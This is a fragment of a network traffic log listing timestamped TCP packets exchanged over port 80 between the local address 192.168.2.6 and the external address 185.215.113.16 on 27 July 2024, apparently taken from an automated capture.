Jul 27, 2024 03:19:21.932687998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932702065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932704926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932718039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932732105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932735920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932746887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932766914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932792902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932815075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932830095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932843924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932847023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932867050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932878017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932881117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932897091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932907104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932910919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932924986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932928085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932940006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932960033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932987928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.933113098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933126926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933140993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933149099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.933156013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933168888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933176994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.933186054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933201075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.933212996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.933223963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.933244944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942547083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942581892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942610025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942631960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942662954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942679882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942699909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942707062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942717075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942722082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942738056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942740917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942754030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.942754984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942770004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.942786932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969722033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969755888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969779968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969795942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969813108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969820976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969826937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969846010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969858885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969861031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969877958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969885111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969892979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969902039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969908953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969917059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969927073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969942093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969943047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969957113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969966888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.969974041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969989061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.969994068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970004082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970017910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970021009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970033884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970036030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970061064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970061064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970076084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970092058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970093966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970118999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970120907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970134974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970135927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970143080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970149994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970170975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970184088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970189095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970202923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970207930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970226049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970226049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970244884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970248938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970263958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970266104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970283031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970293045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970297098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970313072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970328093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970330954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970345020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970350027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970370054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970371962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.970387936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.970402956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018100023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018136978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018150091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018210888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018232107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018239021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018246889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018260002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018260956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018275976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018311024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018335104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018484116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018497944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018512964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018528938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018537998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018543005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018558025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018558025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018578053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018599987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018616915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018630981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018646002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018662930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018681049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018682957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018696070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018702984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018709898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018719912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018726110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018737078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018753052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018769026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.018934011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.018982887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019180059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019195080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019220114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019233942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019237995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019238949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019256115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019258976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019269943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019284964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019303083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019306898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019321918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019328117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019335985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019351006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019361973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019372940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019385099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019390106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019404888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019414902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019418955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019433975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019447088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019449949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019463062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019478083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019480944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019494057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019500971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019509077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.019534111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.019566059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020001888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020020962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020045996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020066023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020072937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020080090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020095110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020107985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020107985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020123005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020136118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020158052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020194054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020200968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020216942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020226955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020239115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020255089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020258904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020270109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020283937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020292044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020304918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020327091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020329952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020340919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020355940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020361900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020370007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020375967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020390987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020396948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020405054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020420074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020425081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020433903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020442963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020447969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020469904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020488977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020488977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020502090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020508051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020517111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020518064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020533085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020539045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020548105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020554066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020561934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.020569086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020601988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.020601988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030359030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030381918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030397892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030416012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030421019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030435085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030437946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030445099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030455112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030457973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030471087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030476093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030491114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030504942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.030524969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.030536890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.056899071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056919098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056942940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056957006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056972027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056987047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.056988955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057004929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057018995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057030916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057030916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057053089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057059050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057090998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057101965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057126045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057133913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057141066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057157040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057164907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057174921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057187080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057192087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057210922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057215929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057236910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057260036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057266951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057281017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057296038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057346106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057416916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057440996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057456970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057462931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057471037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057481050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057486057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057502985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057507992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057528019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057535887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057544947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057553053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057568073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057571888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057584047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057593107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057600975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057605982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057616949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057624102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057643890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057645082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057655096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057660103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057673931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057683945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057688951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057696104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057704926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057713032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057722092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057724953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057738066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.057744980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057759047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.057775974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.105806112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105820894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105835915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105902910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105916977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105932951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105947018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105962038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.105998039 CEST	49713	80	192.168.2.6	185.215.113.16
